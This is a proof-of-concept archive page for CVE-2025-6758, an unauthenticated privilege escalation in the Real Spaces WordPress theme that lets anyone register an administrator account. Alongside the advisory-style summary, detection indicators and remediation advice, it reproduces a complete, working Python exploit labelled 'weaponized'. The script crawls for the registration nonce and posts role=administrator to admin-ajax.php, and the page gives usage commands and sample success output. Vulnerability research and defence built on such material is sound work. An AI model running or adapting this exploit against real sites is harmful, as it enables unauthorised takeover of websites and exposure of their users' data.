PoC Archive PoC Archive
Critical CVE-2025-6758 unpatched

Real Spaces WordPress Theme Unauthenticated Privilege Escalation via `imic_agent_register` (CVE-2025-6758)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-6758
Category
web
Affected product
Real Spaces - Properties Directory Theme for WordPress (imic_agent_register AJAX handler)
Affected versions
<= 3.6
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-6758
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, real-spaces, imic, privilege-escalation, unauthenticated, admin-ajax, role-assignment, cwe-269, cwe-863, python
RelatedN/A

Affected Target

FieldValue
Software / SystemReal Spaces - Properties Directory Theme for WordPress (imic_agent_register AJAX handler)
Versions Affected<= 3.6
Language / PlatformPython 3 (requests, beautifulsoup4); target is a PHP/WordPress site running the vulnerable theme
Authentication RequiredNo
Network Access RequiredYes (HTTP access to wp-admin/admin-ajax.php on the target WordPress site)

Summary

CVE-2025-6758 is a critical privilege-escalation vulnerability in the Real Spaces WordPress Properties Directory Theme (versions <= 3.6), reachable through the theme’s imic_agent_register AJAX registration handler. The handler accepts a client-supplied role parameter during self-registration without restricting it to a safe value, so an unauthenticated visitor can register a new account and explicitly request the administrator role. The included Python PoC automatically discovers a valid registration nonce by crawling the target site (and optionally common registration/plugin/theme paths and inline JavaScript), then submits a forged registration request with role=administrator to wp-admin/admin-ajax.php, resulting in a brand-new, fully-privileged WordPress administrator account created without any authentication.


Vulnerability Details

Root Cause

The theme’s imic_agent_register AJAX action does not validate or restrict the role field submitted by the (unauthenticated) client, trusting it as-is when creating the new WordPress user (CWE-269: Improper Privilege Management / CWE-863: Incorrect Authorization). The PoC’s request-building function shows exactly which parameters are accepted and forwarded to the vulnerable handler:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def Nxploited_build_payload(nonce: str, username: str, password: str, email: str, position: str, role: str) -> dict:
    return {
        "action": "imic_agent_register",
        "reg_nonce": nonce,
        "task": "register",
        "role": role,          # attacker-controlled, e.g. "administrator"
        "username": username,
        "position": position,
        "email": email,
        "pwd1": password,
        "pwd2": password,
    }

Because role is taken directly from attacker input and passed straight through to the user-creation logic behind imic_agent_register, any visitor can request the administrator role for the account they are self-registering, bypassing the intended “agent” self-registration flow entirely.

Attack Vector

  1. Attacker identifies a WordPress site running the Real Spaces theme (<= 3.6) with self-registration enabled.
  2. PoC crawls the target site’s registration page (and optionally other common paths / linked JavaScript, up to a configurable crawl depth) to locate a valid reg_nonce value required by the AJAX handler.
  3. PoC submits an unauthenticated POST request to wp-admin/admin-ajax.php with action=imic_agent_register, the discovered nonce, attacker-chosen username/password/email, and role=administrator.
  4. The vulnerable handler creates the account with the requested role without verifying that self-registration should be restricted to a low-privileged role.
  5. Attacker logs into /wp-login.php with the newly created administrator credentials, gaining full control of the WordPress site.

Impact

An unauthenticated remote attacker can create a fully-privileged WordPress administrator account on any site running the vulnerable theme version, leading to complete site takeover: arbitrary plugin/theme installation (and thus remote code execution), content manipulation, user management, and access to all site data.


Environment / Lab Setup

Target: WordPress site with the "Real Spaces - Properties Directory Theme" <= 3.6 installed,
        with the theme's agent self-registration feature reachable (wp-admin/admin-ajax.php)

Attacker tooling:
- Python 3
- pip install -r requirements.txt   # requests, beautifulsoup4

Proof of Concept

PoC Script

See CVE-2025-6758.py in this folder.

1
2
3
4
5
python3 CVE-2025-6758.py -u http://TARGET/wordpress/

python3 CVE-2025-6758.py -u http://TARGET/wordpress/ \
  --username AdminX --password MySecretPass123 \
  --scan-common-paths --debug

Expected output on success:

[+] Exploitation successful.
[+] Server message: You're successfully register
[+] Username: Nxploited
[+] Password: 123456789
[+] Email: NxploitBot@gmail.com

Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php with body parameter action=imic_agent_register
and role=administrator (or any privileged role) from an unauthenticated
client/session.

Signs of compromise:

  • New WordPress user accounts with the administrator role and unfamiliar usernames/emails, with no corresponding manual account-creation activity by trusted staff.
  • admin-ajax.php access log entries with action=imic_agent_register and role=administrator in the POST body.
  • Site-wide changes (new plugins/themes, modified content, new admin users) shortly after unexplained registration activity.

Remediation

ActionDetail
Primary fixUpgrade the Real Spaces - Properties Directory Theme to a patched version beyond 3.6 that restricts the role parameter on self-registration to non-privileged roles.
Interim mitigationDisable public/agent self-registration if not required; use a WAF rule to block admin-ajax.php requests containing action=imic_agent_register with role=administrator (or any elevated role); audit existing user accounts for unauthorized administrators.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-6758 on 2026-07-06. The script carries Nxploited’s typical templated branding (function/argument naming, social-media footer) but the exploitation logic (nonce discovery + forged role=administrator registration payload) is genuinely CVE-specific and functional.

CVE-2025-6758.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#!/usr/bin/env python3
#By Nxploited | Khaled ALenazi
import argparse
import json
import logging
import random
import re
import time
from html import unescape
from typing import Optional, Set, List, Tuple
from urllib.parse import urljoin, urlparse

import requests
from bs4 import BeautifulSoup

DEFAULT_USERNAME = "Nxploited"
DEFAULT_PASSWORD = "123456789"
DEFAULT_EMAIL = "NxploitBot@gmail.com"
DEFAULT_POSITION = "Nxploitedadmin"
DEFAULT_ROLE = "administrator"
NONCE_REGEX = r'registration_nonce"\s*:\s*"([^"]+)'

logger = logging.getLogger("wp_reg_helper")
handler = logging.StreamHandler()
formatter = logging.Formatter("[%(levelname)s] %(message)s")
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)

def Nxploited_short_delay(min_s: float = 0.4, max_s: float = 1.0) -> None:
    time.sleep(random.uniform(min_s, max_s))

def Nxploited_extract_nonce_bs4(html: str) -> Optional[str]:
    soup = BeautifulSoup(html, "html.parser")
    for s in soup.find_all("script"):
        if s.string and "registration_nonce" in s.string:
            m = re.search(NONCE_REGEX, s.string)
            if m:
                return m.group(1)
    candidate = soup.find(attrs={"data-registration-nonce": True})
    if candidate:
        return candidate["data-registration-nonce"]
    hidden = soup.find("input", {"name": "registration_nonce", "type": "hidden"})
    if hidden and hidden.get("value"):
        return hidden["value"]
    return None

def Nxploited_extract_nonce_regex(html: str) -> Optional[str]:
    m = re.search(NONCE_REGEX, html)
    if m:
        return m.group(1)
    return None

def Nxploited_find_nonces_in_js(js_text: str) -> List[str]:
    return re.findall(NONCE_REGEX, js_text)

def Nxploited_fetch_page(session: requests.Session, url: str, headers: dict, verify: bool = False) -> Optional[str]:
    try:
        resp = session.get(url, headers=headers, timeout=15, verify=verify)
        resp.raise_for_status()
        return resp.text
    except requests.RequestException as e:
        logger.debug("Fetch failed %s : %s", url, e)
        return None

def Nxploited_collect_links(base_url: str, html: str) -> Set[str]:
    soup = BeautifulSoup(html, "html.parser")
    base_parsed = urlparse(base_url)
    base_netloc = base_parsed.netloc
    links: Set[str] = set()
    for a in soup.find_all("a", href=True):
        href = a["href"].strip()
        if href.startswith("mailto:") or href.startswith("tel:"):
            continue
        full = urljoin(base_url, href)
        parsed = urlparse(full)
        if parsed.netloc == base_netloc:
            links.add(full.split("#")[0])
    for s in soup.find_all("script", src=True):
        src = s["src"].strip()
        full = urljoin(base_url, src)
        links.add(full)
    return links

def Nxploited_scan_links_for_nonce(session: requests.Session, start_url: str, headers: dict, max_pages: int = 25, max_depth: int = 2, verify: bool = False) -> List[Tuple[str, str]]:
    found: List[Tuple[str, str]] = []
    seen: Set[str] = set()
    to_visit: List[Tuple[str, int]] = [(start_url, 0)]
    while to_visit and len(seen) < max_pages:
        url, depth = to_visit.pop(0)
        if url in seen:
            continue
        seen.add(url)
        Nxploited_short_delay()
        html = Nxploited_fetch_page(session, url, headers, verify=verify)
        if not html:
            continue
        nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html)
        if nonce:
            found.append((url, nonce))
        if depth < max_depth:
            links = Nxploited_collect_links(url, html)
            for l in sorted(links):
                if l not in seen:
                    to_visit.append((l, depth + 1))
    return found

def Nxploited_search_common_paths_for_nonce(session: requests.Session, base_url: str, headers: dict, verify: bool = False) -> List[Tuple[str, str]]:
    candidates = [
        "register",
        "Register",
        "register/",
        "Register/",
        "wp-register.php",
        "wp-login.php?action=register",
        "wp-content/plugins/",
        "wp-content/themes/",
        "wp-register.php",
        "?page_id=1476",
        "wp-login.php",
    ]
    found: List[Tuple[str, str]] = []
    for p in candidates:
        try_url = urljoin(base_url, p)
        Nxploited_short_delay()
        html = Nxploited_fetch_page(session, try_url, headers, verify=verify)
        if not html:
            continue
        nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html)
        if nonce:
            found.append((try_url, nonce))
        else:
            soup = BeautifulSoup(html, "html.parser")
            for s in soup.find_all("script", src=True):
                src = urljoin(try_url, s["src"])
                Nxploited_short_delay()
                js = Nxploited_fetch_page(session, src, headers, verify=verify)
                if js:
                    nonces = Nxploited_find_nonces_in_js(js)
                    for n in nonces:
                        found.append((src, n))
    return found

def Nxploited_build_payload(nonce: str, username: str, password: str, email: str, position: str, role: str) -> dict:
    return {
        "action": "imic_agent_register",
        "reg_nonce": nonce,
        "task": "register",
        "role": role,
        "username": username,
        "position": position,
        "email": email,
        "pwd1": password,
        "pwd2": password,
    }

def Nxploited_perform_registration(session: requests.Session, ajax_url: str, headers: dict, payload: dict, verify: bool = False) -> Optional[str]:
    try:
        resp = session.post(ajax_url, headers=headers, data=payload, timeout=20, verify=verify)
        resp.raise_for_status()
        return resp.text
    except requests.RequestException as e:
        logger.error("POST failed: %s", e)
        return None

def Nxploited_build_report(results: List[Tuple[str, str]]) -> dict:
    report = {"total": len(results), "details": []}
    seen_values: Set[str] = set()
    for src, nonce in results:
        unique = nonce not in seen_values
        seen_values.add(nonce)
        report["details"].append({"source": src, "nonce": nonce, "unique": unique})
    return report

def Nxploited():
    parser = argparse.ArgumentParser(description="Exploit For CVE-2025-6758 | By: Nxploited ( Khaled Alenazi )", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("-u", "--url", required=True, help="Base URL to start scanning (registration page expected at this base URL)")
    parser.add_argument("--username", default=DEFAULT_USERNAME, help="Username to register")
    parser.add_argument("--password", default=DEFAULT_PASSWORD, help="Password to register")
    parser.add_argument("--email", default=DEFAULT_EMAIL, help="Email to register")
    parser.add_argument("--position", default=DEFAULT_POSITION, help="Position value")
    parser.add_argument("--role", default=DEFAULT_ROLE, help="Role value")
    parser.add_argument("--max-pages", type=int, default=30, help="Maximum pages to visit when crawling")
    parser.add_argument("--max-depth", type=int, default=2, help="Maximum crawl depth for link traversal")
    parser.add_argument("--scan-common-paths", action="store_true", help="Scan common register/plugin/theme paths for nonce")
    parser.add_argument("--ajax-path", default="wp-admin/admin-ajax.php", help="AJAX endpoint path")
    parser.add_argument("--verify-ssl", action="store_true", help="Verify SSL certificates for requests")
    parser.add_argument("--cookie-save", default="", help="Optional path to save session cookies (pickle).")
    parser.add_argument("--debug", action="store_true", help="Enable debug logging and show HTML/js snippets")
    parser.add_argument("--save-json", default="", help="Optional path to save results as JSON")
    args = parser.parse_args()

    if args.debug:
        logger.setLevel(logging.DEBUG)
    session = requests.Session()
    base_url = args.url if args.url.endswith("/") else args.url + "/"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Kali Linux) Python/3.x helper",
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
    }

    results: List[Tuple[str, str]] = []

    start_html = Nxploited_fetch_page(session, base_url, headers, verify=args.verify_ssl)
    if start_html:
        nonce = Nxploited_extract_nonce_bs4(start_html) or Nxploited_extract_nonce_regex(start_html)
        if nonce:
            results.append((base_url, nonce))

    if not results:
        page_id_url = urljoin(base_url, "?page_id=1476")
        logger.debug("Auto-trying page_id path: %s", page_id_url)
        Nxploited_short_delay()
        html = Nxploited_fetch_page(session, page_id_url, headers, verify=args.verify_ssl)
        if html:
            if args.debug:
                print("\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---")
                print(html[:800])
                print("--- end snippet ---\n")
            nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html)
            if nonce:
                results.append((page_id_url, nonce))

    if not results:
        res_links = Nxploited_scan_links_for_nonce(session, base_url, headers, max_pages=args.max_pages, max_depth=args.max_depth, verify=args.verify_ssl)
        results.extend(res_links)

    if args.scan_common_paths and not results:
        res_common = Nxploited_search_common_paths_for_nonce(session, base_url, headers, verify=args.verify_ssl)
        results.extend(res_common)

    if not results:
        logger.error("No registration_nonce values found. Provide a specific registration URL or increase scan options.")
        logger.info("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.")
        return

    report = Nxploited_build_report(results)
    logger.info("Nonces found: %d", report["total"])
    nonce_source, nonce_value = report["details"][0]["source"], report["details"][0]["nonce"]

    payload = Nxploited_build_payload(nonce_value, args.username, args.password, args.email, args.position, args.role)
    ajax_url = urljoin(base_url, args.ajax_path)
    headers["Referer"] = ajax_url.replace("wp-admin/admin-ajax.php", "register/")

    Nxploited_short_delay(0.6, 1.2)
    resp_html = Nxploited_perform_registration(session, ajax_url, headers, payload, verify=args.verify_ssl)
    if resp_html is None:
        logger.error("No response or POST failure.")
        return

    server_msg = None
    server_msg = Nxploited_find_nonces_in_js(resp_html)  # fallback search (not typical)
    text_msg = None
    try:
        text_msg = re.search(r'<div[^>]*class=["\']?[^"\'>]*alert-success[^"\'>]*["\']?[^>]*>(.*?)</div>', resp_html, re.S | re.I)
        if text_msg:
            text_msg = unescape(re.sub(r'<[^>]+>', '', text_msg.group(1)).strip())
    except Exception:
        text_msg = None

    if text_msg and ("success" in text_msg.lower() or "successfully" in text_msg.lower()):
        print("[+] Exploitation successful.")
        print(f"[+] Server message: {text_msg}")
        print(f"[+] Username: {args.username}")
        print(f"[+] Password: {args.password}")
        print(f"[+] Email: {args.email}")
    else:
        print("[!] Registration POST completed. Server response:")
        print(resp_html[:1000])

    if args.cookie_save:
        try:
            import pickle
            with open(args.cookie_save, "wb") as fh:
                pickle.dump(session.cookies, fh)
            logger.info("Session cookies saved to %s", args.cookie_save)
        except Exception as e:
            logger.error("Failed to save cookies: %s", e)

    if args.save_json:
        try:
            with open(args.save_json, "w") as fh:
                json.dump(report, fh, indent=2)
            logger.info("Results saved to %s", args.save_json)
        except Exception as e:
            logger.error("Failed to save JSON: %s", e)

if __name__ == "__main__":
    Nxploited()